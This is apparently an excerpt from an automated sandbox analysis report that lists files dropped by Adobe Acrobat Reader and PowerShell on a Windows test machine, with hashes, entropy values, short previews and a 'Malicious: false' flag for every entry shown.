C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.26056632482468
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJfbPtdPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95GDV8Ukee9
MD5:	5F5FCE1C268BD38460E467FEE3663A33
SHA1:	064C68BCB2C09259F06C323F3799F1A518EF3BB0
SHA-256:	C238A9F40B3783B72B29F2733A9546CA0AEAF9BD4621538C7EB9C687B3AE3497
SHA-512:	D59DA55627F30C73264D310D7F81008DC5E6E562981A15A635AEB15689F9C611EB53C4AEB51B3AF9B4FDB913D81C17D3093678DFDC3481A712563AA11B959704
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2595848501355285
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJf21rPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95G+16Ukee9
MD5:	F3FDC698EAFD8851C6C9E704CCCE98EB
SHA1:	282450D6D94DE67E6C797E9EC9527375B56C8594
SHA-256:	5C1E2ADCC02C9955F6CB186C50FF533E2813DB5A4D2D4142B724C3150A8E888E
SHA-512:	BFB4703BCC35D7444AA2EF20E43961B24EBE44F353C3A603885CFABE606B1D74F97BFE71975CF4CBE60F82C8FEBAC60A994B201B90DBF43C7C6B97FF3DD4DD45
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6655483858750095
Encrypted:	false
SSDEEP:	24:Yv6XCCJhFamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSX:YvFCJh5BgkDMUJUAh8cvMX
MD5:	8EC7DC23459B0C990594536F85FE41A1
SHA1:	EF1ECD4BB913EB4708A3B759CF647E60D9483A59
SHA-256:	0EFADECAEE9A64B5D76733507FB6B308CEBD3226B694BF5F1D7A96C2616377DF
SHA-512:	1653F514635F5ED6D70C705248709C939C4A9EF8ADC88786C04E438D10512C8DEDDDDB08C6A30FCFAECA7756C5D459821C8AD4F5512548B586517D43239ECF97
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.234359539607435
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJfshHHrPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95GUUUkee9
MD5:	20CA3E09B4A14EF25F41D2202921A231
SHA1:	300130C8A5AFE41F91944A502BD5BBBD451BC673
SHA-256:	24EA62641DD6CDDF27D09F385F9B66C3A79115CDE171F0A16631B05B1E35BE80
SHA-512:	FF02BD3DDE989FDABFF5211BF5C07F70D9BCC34D863DA9AA8A63DBF3D99FCC8C2527703F356F682D9FBF988D6CA9B7172C3CD70A8F4C223F18480B1212BFC095
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.256098365782307
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3FxRQB52vB3/dVlPIHAR0YyX9KoAvJTqgFCrPeUkwRe9:YvXKX3Fx2b2vR/ZwHAOX95GTq16Ukee9
MD5:	22CC262BA88641C21E376097EDBB2789
SHA1:	A09D4E1486D8F92673FABA131DD61ECA6011A110
SHA-256:	3CF91931EDA22BC5112FF6CD4536D42CA2811281133C055AB4A5BCB9FADAB839
SHA-512:	ACB35AE73C82A5B3ECA0CA64BC09DF6F1ED4E7EEF7FC2333742E8665A488F8AB55435E78BDA5E26AB611BD90D11B377A2CEBF6F99CFE604C2E4BB2A1B525561D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ae2674da-b139-4135-945a-ee84f81fe82d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736731822019,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1474061946807295
Encrypted:	false
SSDEEP:	24:Yjta8n1ayUZZr2PFdvKJVVVBTglwdc64Hj/j0S9xPd2aGUcye2LSXCcJOacVkm5d:YG3rglKr66oLTlN5cHtvJOac3F9n
MD5:	B12A5EF271F06FA34C8F11A5D58886EF
SHA1:	F1FDDB31E6D175B9CE3086F546D15242E76948D2
SHA-256:	8C11CB305CF4862EBCEC66B3F550A6FB802D4722C671318CDD18BD0C61303EFB
SHA-512:	88C6597E9B2382CC3C6D87789FFAB3C760E6998522939639EAD89804FD2F0B0A1C84EFA128221DD81CCA836E3FB8F2B69ADE2CC2EC612A717943FC371A309078
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"5e4bc6985224ab6728659af6ceb8e136","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736552436000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"984dc1fb1a680d321ecd1f7455a1834c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736552436000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f4a8d68d3177e5ac2bd7b90b0a75f100","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736552436000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"784e12799517b815baa41f53a5095202","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736552436000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c1c530ed11b08c8eb8b63d34264ba1c7","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736552436000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"90a042a538bce59c30f53b61b80ca837","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3190340629002328
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahoBmKtypilISBmKF:lNVms9WfMwbPahgr
MD5:	7AE1C307076DDB76FE24F0BBBE67B8B3
SHA1:	FFE6CE65C389D8F44DD92DB13EADF139D25AABE9
SHA-256:	25DB32A5B61BBD6CF453DF6A04514E5019AE75B919E31E5071F3041B06D428EA
SHA-512:	D0584E3E6B3D0D0083AC90BEFA53CABAE76F8868696EF10FBFB1DF8C019DEE7CBB4FCD7BA1340D1F91C3E6FE2686EF3B3D00A0BBA3A2B4454AD5EA1A068751E3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7797265052564124
Encrypted:	false
SSDEEP:	48:7MTWR1CPmPbPahoBmK4ypilI+vqFl2GL7msu:7uWfMwbPahlTvKVmsu
MD5:	612E76807229F097863A499445247E0F
SHA1:	AE3E3435CA73A647F1DC2E9F7DCBC2D908811EF0
SHA-256:	967A628481EA2726614ACDC0039DD62314663A6D20E2E36EE733F97CCEC2A588
SHA-512:	BA64F698C76664CAB0558A4729DCE5089659480A439708610D4FBEA2804920BB7A493D0B38FFD905DCF563D12CF1427C758638A4EB87B1A06CF2F884011F12FA
Malicious:	false
Preview:	.... .c.....D0............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgydChA6H8Y/NPu5MlMowrqtLNPdZ/Yyu:6a6TZ44ADEydChAeAeMqDb/K
MD5:	0A647ACF40802DCF0C3A62B1E071C862
SHA1:	B991EACFDC233A30AA4240EC277177AC405EE780
SHA-256:	4C3A4DD19DC436EFF45BB03FC98B391D28C4603C41C99DC0319D10E4A2C5827C
SHA-512:	E2D7C7F16A2A5DAAB22966D90C0F446FF1645C957576FC38FCF1A2CA2CB5F4348D5709DAAD6DD050F25B423715FF22D391EA611BA13C7884E82CDB445A2B80D9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI1f04f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5325285763919316
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEF8wle:Qw946cPbiOxDlbYnuRK+bD6ww
MD5:	78DF553440B2A6661C602D8B58CF0B3A
SHA1:	D1302C2C958D7B49433313E66D2D1EDFB931DC13
SHA-256:	6989C2EF254A89B727E89CC46A117A9DE0A0E7ED263FFFE1DE1ED97573ED7899
SHA-512:	48468AA8D46B3622A91FAD5A8479EFFB1FACA7CBDEC98CFF36C294D4D27C397409F2D24CE8F81AA0264F03D7E7F910BAC19348A70566FCCD8EB0F041089BF901
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.8.:.4.0.:.3.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mexn1bzo.yra.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vqhz3ys5.14t.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 18-40-30-383.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.326979422342527
Encrypted:	false
SSDEEP:	384:HAkBkUVALpyKnYTxj1VO4h2jjsgY1g0H3cYFTfzLhJyn5P2wsJGo010V8NPOoAIn:i4Q
MD5:	8E074BDFA5A9EEDBFEAE7599582C5ED0
SHA1:	4AA81AA8C115090C53C6F2FBF125E95EA5488525
SHA-256:	4300BB06DC27FDC4EBBB37443A1F91DD6C9A99544802BBA1E0378B661CF3AC91
SHA-512:	148CD8865B316C078007A27D8D9B4305B35640B49F2ACB0CBAC78C2819A1CFAC9F7B43D4A73654D2E4B494CCFA15D24DC885F16B7A0A099F8DD1A58F2938AD75
Malicious:	false
Preview:	SessionID=13d94134-d247-4c78-902e-7a4ba46a71dd.1736552430410 Timestamp=2025-01-10T18:40:30:410-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=13d94134-d247-4c78-902e-7a4ba46a71dd.1736552430410 Timestamp=2025-01-10T18:40:30:419-0500 ThreadID=7644 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=13d94134-d247-4c78-902e-7a4ba46a71dd.1736552430410 Timestamp=2025-01-10T18:40:30:419-0500 ThreadID=7644 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=13d94134-d247-4c78-902e-7a4ba46a71dd.1736552430410 Timestamp=2025-01-10T18:40:30:419-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=13d94134-d247-4c78-902e-7a4ba46a71dd.1736552430410 Timestamp=2025-01-10T18:40:30:420-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.407470012496723
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbIgcbJUI9BcbZ:ceo4+rsCG/h9u
MD5:	7387AE113B281323D4FCD23B81719525
SHA1:	88A5D1050E1FB94E25907C2151D6429E5DBDBB3C
SHA-256:	4FDBF2EA0BD55B747D7BEEE70144A51E4B23551743B0718DACC656719DB6F710
SHA-512:	18B7288D91E3BBBD75BCADFB4FD5B7F5F94B71FA9111E2EC4F3F5A035FE7106E83DFED34C3DEEE84BF62D681765E5E3124F4417A568543C8A725303BEEC30C56
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6bbde479-b7d2-49a2-a511-7648bd94fe48.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9d07ec4e-64c0-4b12-93ee-5cdac9aa7c77.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ad69ed3a-5e51-4c6c-b521-250aed751580.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/r5eYIGNPpOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:T5eZGOWLxBGZN3mlind9i4ufFXpAXkru
MD5:	4CBEAB1994786A0B8AE7BAF48FAD3A6A
SHA1:	2F22D79E3DF7B249DA18F028F5A14EB65BB9C139
SHA-256:	7E6BD13795A55EFAED961CFF688D9D59401599963C4AF42FD6ABAD434E7D6088
